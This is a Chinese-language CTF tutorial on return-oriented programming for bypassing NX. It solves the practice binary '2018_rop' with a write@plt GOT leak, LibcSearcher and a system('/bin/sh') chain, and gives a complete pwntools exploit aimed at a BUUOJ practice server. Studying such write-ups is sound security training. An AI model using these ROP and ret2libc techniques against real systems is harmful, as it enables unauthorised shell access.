PWN从入门到放弃(11)——栈溢出之rop
本来是想分享一下工具,但是单纯分享工具内容太少,于是这里再简单讲一下ROP
0x00 什么是ROP
ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。通过上一篇文章栈溢出漏洞原理详解与利用,我们可以发现栈溢出的控制点是ret处,那么ROP的核心思想就是利用以ret结尾的指令序列把栈中的应该返回EIP的地址更改成我们需要的值,从而控制程序的执行流程。
0x01 为什么要ROP
探究原因之前,我们先看一下什么是NX(DEP) NX即No-execute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。所以就有了各种绕过办法,rop就是其中一种。
注:通俗的来说,rop就是利用程序中已有的程序段来拼接一个我们需要的功能(函数)。
0x02 例题
1)查看程序信息
$ checksec 2018_rop
32位程序,开启了NX保护(意味着栈不可执行)
2)IDA pro 分析
打开看到vulnerable_function()直接跟进
read()函数处存在溢出,溢出偏移为0x8C
根据我们之前讲的题目,这种只存在溢出的题目需要泄漏一个函数的实际地址,再计算libc基地址。
但我们看左侧函数窗口,没有puts()、system()、也没有’/bin/sh’字符串。
其实不光puts()函数可以打印函数的实际地址,write()函数也可以,之所以我们平时都用puts()函数,是因为puts()函数只有一个参数,使用起来方便。
3)编写exp
首先,先把脚本框架写好
# -*- coding: utf-8 -*-
from pwn import *
pro = './2018_rop'
context.terminal = ["tmux","splitw","-h"]
elf = ELF(pro)
r = process(pro)
context.os = 'linux'
context.arch = elf.arch
context.log_level = 'debug'
rv = lambda x:r.recv(x)
ru = lambda x:r.recvuntil(x)
rud = lambda x:r.recvuntil(x,drop=True)
rl = lambda x:r.recvline()
sd = lambda x:r.send(x)
sl = lambda x:r.sendline(x)
sa = lambda x,y:r.sendafter(x,y)
sla = lambda x,y:r.sendlineafter(x,y)
if args.G:
gdb.attach(proc.pidof(r)[0])
r.interactive()
接下来我们先把需要准备的地址准备好,之前我们都是用puts函数打印puts函数的实际地址,我们也可以用write函数打印write函数的实际地址(当然也可以打印其他函数的实际地址),这里我用wirte函数打印__libc_start_main函数的实际地址。
padding = 0x8c
write_plt = elf.plt['write']
libc_start_main_got = elf.got['__libc_start_main']
main_addr = 0x080484c6
下面我们就要构造一个rop链了,在构造之前,先来了解一下write函数
函数定义:ssize_t write (int fd, const void * buf, size_t count);
函数说明:write()会把参数buf所指的内存写入count个字节到参数放到fd所指的文件内。
想要write函数将实际地址打印出来,只需要将fd置1,又因为这是32位程序,地址长度为4,所以count=4即可。
pay = 'a' * padding
pay += p32(write_plt)
pay += p32(main_addr)
pay += p32(1)
pay += p32(libc_start_main_got)
pay += p32(4)
sl(pay)
lsm_real_addr = u32(rv(4))
print 'lsm_real_addr >>>>>>>> ' + hex(lsm_real_addr)
rop链应该很容易看懂,不过多赘述
接下来,需要计算libc的基地址,这里推荐一下LibcSearcher这个库
安装方法
$ git clone https://github.com/lieanu/LibcSearcher.git
$ cd LibcSearcher
$ python setup.py develop
使用方法也很简单,大家应该一看就能看懂。
from LibcSearcher import *
libc = LibcSearcher("gets",gets_real_addr)
libc_base = gets_real_addr – libc.dump("fgets")
system_addr = libc_base + libc.dump("system")
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
那么我们这道题的libc基地址计算就照葫芦画瓢即可
libc = LibcSearcher("__libc_start_main",lsm_real_addr)
libc_base = lsm_real_addr - libc.dump('__libc_start_main')
print 'libc_base >>>>>>>> ' + hex(libc_base)
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
计算出基地址了,后面都是基本操作
pay1 = 'a' * padding
pay1 += p32(system_addr)
pay1 += p32(main_addr)
pay1 += p32(bin_sh_addr)
sleep(1)
sl(pay1)
4)完整exp
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
pro = './2018_rop'
context.terminal = ["tmux","splitw","-h"]
elf = ELF(pro)
#r = process(pro)
r = remote('node3.buuoj.cn',26913)
context.os = 'linux'
context.arch = elf.arch
context.log_level = 'debug'
rv = lambda x:r.recv(x)
ru = lambda x:r.recvuntil(x)
rud = lambda x:r.recvuntil(x,drop=True)
rl = lambda x:r.recvline()
sd = lambda x:r.send(x)
sl = lambda x:r.sendline(x)
sa = lambda x,y:r.sendafter(x,y)
sla = lambda x,y:r.sendlineafter(x,y)
if args.G:
gdb.attach(proc.pidof(r)[0])
padding = 0x88 + 0x4
write_plt = elf.plt['write']
libc_start_main_got = elf.got['__libc_start_main']
main_addr = 0x080484c6
pay = 'a' * padding
pay += p32(write_plt)
pay += p32(main_addr)
pay += p32(1)
pay += p32(libc_start_main_got)
pay += p32(4)
sl(pay)
lsm_real_addr = u32(rv(4))
print 'lsm_real_addr >>>>>>>> ' + hex(lsm_real_addr)
libc = LibcSearcher("__libc_start_main",lsm_real_addr)
libc_base = lsm_real_addr - libc.dump('__libc_start_main')
print 'libc_base >>>>>>>> ' + hex(libc_base)
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
pay1 = 'a' * padding
pay1 += p32(system_addr)
pay1 += p32(main_addr)
pay1 += p32(bin_sh_addr)
sleep(1)
sl(pay1)
r.interactive()